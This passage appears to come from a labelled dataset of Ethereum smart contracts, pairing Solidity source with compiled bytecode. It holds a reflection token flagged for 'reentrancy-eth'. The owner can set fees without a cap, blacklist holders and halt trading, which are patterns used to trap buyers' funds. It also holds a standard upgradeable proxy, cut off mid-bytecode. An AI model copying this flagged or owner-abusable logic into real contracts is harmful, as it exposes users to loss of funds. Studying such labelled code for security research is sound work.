pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610526578063dd62ed3e14610546578063ea1644d51461058c578063f2fde38b146105ac57600080fd5b8063a2a957bb146104a1578063a9059cbb146104c1578063bfd79284146104e1578063c3c8cd801461051157600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b41146101fe57806398a5c3151461048157600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611930565b6105cc565b005b34801561020a57600080fd5b50604080518082018252600b81526a4e6577506c6174666f726d60a81b6020820152905161023891906119f5565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a4a565b61066b565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50670de0b6b3a76400005b604051908152602001610238565b3480156102da57600080fd5b506102616102e9366004611a76565b610682565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610238565b34801561032c57600080fd5b50601554610291906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ab7565b6106eb565b34801561036c57600080fd5b506101fc61037b366004611ae4565b610736565b34801561038c57600080fd5b506101fc61077e565b3480156103a157600080fd5b506102c06103b0366004611ab7565b6107c9565b3480156103c157600080fd5b506101fc6107eb565b3480156103d657600080fd5b506101fc6103e5366004611aff565b61085f565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611ab7565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610291565b34801561045757600080fd5b506101fc610466366004611ae4565b61088e565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b506101fc61049c366004611aff565b6108d6565b3480156104ad57600080fd5b506101fc6104bc366004611b18565b610905565b3480156104cd57600080fd5b506102616104dc366004611a4a565b610943565b3480156104ed57600080fd5b506102616104fc366004611ab7565b60106020526000908152604090205460ff1681565b34801561051d57600080fd5b506101fc610950565b34801561053257600080fd5b506101fc610541366004611b4a565b6109a4565b34801561055257600080fd5b506102c0610561366004611bce565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059857600080fd5b506101fc6105a7366004611aff565b610a45565b3480156105b857600080fd5b506101fc6105c7366004611ab7565b610a74565b6000546001600160a01b031633146105ff5760405162461bcd60e51b81526004016105f690611c07565b60405180910390fd5b60005b81518110156106675760016010600084848151811061062357610623611c3c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065f81611c68565b915050610602565b5050565b6000610678338484610b5e565b5060015b92915050565b600061068f848484610c82565b6106e184336106dc85604051806060016040528060288152602001611d82602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111be565b610b5e565b5060019392505050565b6000546001600160a01b031633146107155760405162461bcd60e51b81526004016105f690611c07565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107605760405162461bcd60e51b81526004016105f690611c07565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b357506013546001600160a01b0316336001600160a01b0316145b6107bc57600080fd5b476107c6816111f8565b50565b6001600160a01b03811660009081526002602052604081205461067c90611232565b6000546001600160a01b031633146108155760405162461bcd60e51b81526004016105f690611c07565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108895760405162461bcd60e51b81526004016105f690611c07565b601655565b6000546001600160a01b031633146108b85760405162461bcd60e51b81526004016105f690611c07565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109005760405162461bcd60e51b81526004016105f690611c07565b601855565b6000546001600160a01b0316331461092f5760405162461bcd60e51b81526004016105f690611c07565b600893909355600a91909155600955600b55565b6000610678338484610c82565b6012546001600160a01b0316336001600160a01b0316148061098557506013546001600160a01b0316336001600160a01b0316145b61098e57600080fd5b6000610999306107c9565b90506107c6816112b6565b6000546001600160a01b031633146109ce5760405162461bcd60e51b81526004016105f690611c07565b60005b82811015610a3f5781600560008686858181106109f0576109f0611c3c565b9050602002016020810190610a059190611ab7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3781611c68565b9150506109d1565b50505050565b6000546001600160a01b03163314610a6f5760405162461bcd60e51b81526004016105f690611c07565b601755565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b81526004016105f690611c07565b6001600160a01b038116610b035760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f6565b6001600160a01b038216610c215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f6565b6001600160a01b038216610d485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f6565b60008111610daa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f6565b6000546001600160a01b03848116911614801590610dd657506000546001600160a01b03838116911614155b156110b757601554600160a01b900460ff16610e6f576000546001600160a01b03848116911614610e6f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f6565b601654811115610ec15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f6565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0357506001600160a01b03821660009081526010602052604090205460ff16155b610f5b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f6565b6015546001600160a01b03838116911614610fe05760175481610f7d846107c9565b610f879190611c83565b10610fe05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f6565b6000610feb306107c9565b6018546016549192508210159082106110045760165491505b80801561101b5750601554600160a81b900460ff16155b801561103557506015546001600160a01b03868116911614155b801561104a5750601554600160b01b900460ff165b801561106f57506001600160a01b03851660009081526005602052604090205460ff16155b801561109457506001600160a01b03841660009081526005602052604090205460ff16155b156110b4576110a2826112b6565b4780156110b2576110b2476111f8565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f957506001600160a01b03831660009081526005602052604090205460ff165b8061112b57506015546001600160a01b0385811691161480159061112b57506015546001600160a01b03848116911614155b15611138575060006111b2565b6015546001600160a01b03858116911614801561116357506014546001600160a01b03848116911614155b1561117557600854600c55600954600d555b6015546001600160a01b0384811691161480156111a057506014546001600160a01b03858116911614155b156111b257600a54600c55600b54600d555b610a3f8484848461143f565b600081848411156111e25760405162461bcd60e51b81526004016105f691906119f5565b5060006111ef8486611c9b565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610667573d6000803e3d6000fd5b60006006548211156112995760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f6565b60006112a361146d565b90506112af8382611490565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fe576112fe611c3c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135257600080fd5b505afa158015611366573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138a9190611cb2565b8160018151811061139d5761139d611c3c565b6001600160a01b0392831660209182029290920101526014546113c39130911684610b5e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fc908590600090869030904290600401611ccf565b600060405180830381600087803b15801561141657600080fd5b505af115801561142a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144c5761144c6114d2565b611457848484611500565b80610a3f57610a3f600e54600c55600f54600d55565b600080600061147a6115f7565b90925090506114898282611490565b9250505090565b60006112af83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611637565b600c541580156114e25750600d54155b156114e957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151287611665565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154490876116c2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115739086611704565b6001600160a01b03891660009081526002602052604090205561159581611763565b61159f84836117ad565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006116128282611490565b82101561162e57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116585760405162461bcd60e51b81526004016105f691906119f5565b5060006111ef8486611d40565b60008060008060008060008060006116828a600c54600d546117d1565b925092509250600061169261146d565b905060008060006116a58e878787611826565b919e509c509a509598509396509194505050505091939550919395565b60006112af83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111be565b6000806117118385611c83565b9050838110156112af5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f6565b600061176d61146d565b9050600061177b8383611876565b306000908152600260205260409020549091506117989082611704565b30600090815260026020526040902055505050565b6006546117ba90836116c2565b6006556007546117ca9082611704565b6007555050565b60008080806117eb60646117e58989611876565b90611490565b905060006117fe60646117e58a89611876565b90506000611816826118108b866116c2565b906116c2565b9992985090965090945050505050565b60008080806118358886611876565b905060006118438887611876565b905060006118518888611876565b905060006118638261181086866116c2565b939b939a50919850919650505050505050565b6000826118855750600061067c565b60006118918385611d62565b90508261189e8583611d40565b146112af5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f6565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c657600080fd5b803561192b8161190b565b919050565b6000602080838503121561194357600080fd5b823567ffffffffffffffff8082111561195b57600080fd5b818501915085601f83011261196f57600080fd5b813581811115611981576119816118f5565b8060051b604051601f19603f830116810181811085821117156119a6576119a66118f5565b6040529182528482019250838101850191888311156119c457600080fd5b938501935b828510156119e9576119da85611920565b845293850193928501926119c9565b98975050505050505050565b600060208083528351808285015260005b81811015611a2257858101830151858201604001528201611a06565b81811115611a34576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5d57600080fd5b8235611a688161190b565b946020939093013593505050565b600080600060608486031215611a8b57600080fd5b8335611a968161190b565b92506020840135611aa68161190b565b929592945050506040919091013590565b600060208284031215611ac957600080fd5b81356112af8161190b565b8035801515811461192b57600080fd5b600060208284031215611af657600080fd5b6112af82611ad4565b600060208284031215611b1157600080fd5b5035919050565b60008060008060808587031215611b2e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5f57600080fd5b833567ffffffffffffffff80821115611b7757600080fd5b818601915086601f830112611b8b57600080fd5b813581811115611b9a57600080fd5b8760208260051b8501011115611baf57600080fd5b602092830195509350611bc59186019050611ad4565b90509250925092565b60008060408385031215611be157600080fd5b8235611bec8161190b565b91506020830135611bfc8161190b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7c57611c7c611c52565b5060010190565b60008219821115611c9657611c96611c52565b500190565b600082821015611cad57611cad611c52565b500390565b600060208284031215611cc457600080fd5b81516112af8161190b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1f5784516001600160a01b031683529383019391830191600101611cfa565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7c57611d7c611c52565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042035bee1fea1bcac1d3bcd67109f2961bef1472f6017f874ee55730b553e5d764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,782
0xe1406825186d63980fd6e2ec61888f7b91c4bae4
// SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100675780634f1ef286146100b85780635c60da1b146101515780638f283970146101a8578063f851a440146101f95761005d565b3661005d5761005b610250565b005b610065610250565b005b34801561007357600080fd5b506100b66004803603602081101561008a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061026a565b005b61014f600480360360408110156100ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561010b57600080fd5b82018360208201111561011d57600080fd5b8035906020019184600183028401116401000000008311171561013f57600080fd5b90919293919293905050506102bf565b005b34801561015d57600080fd5b50610166610395565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101b457600080fd5b506101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103ed565b005b34801561020557600080fd5b5061020e610566565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102586105d1565b610268610263610667565b610698565b565b6102726106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102b3576102ae816106ef565b6102bc565b6102bb610250565b5b50565b6102c76106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561038757610303836106ef565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d806000811461036e576040519150601f19603f3d011682016040523d82523d6000602084013e610373565b606091505b505090508061038157600080fd5b50610390565b61038f610250565b5b505050565b600061039f6106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103e1576103da610667565b90506103ea565b6103e9610250565b5b90565b6103f56106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561055a57600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156104ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061082f6036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104d76106be565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffff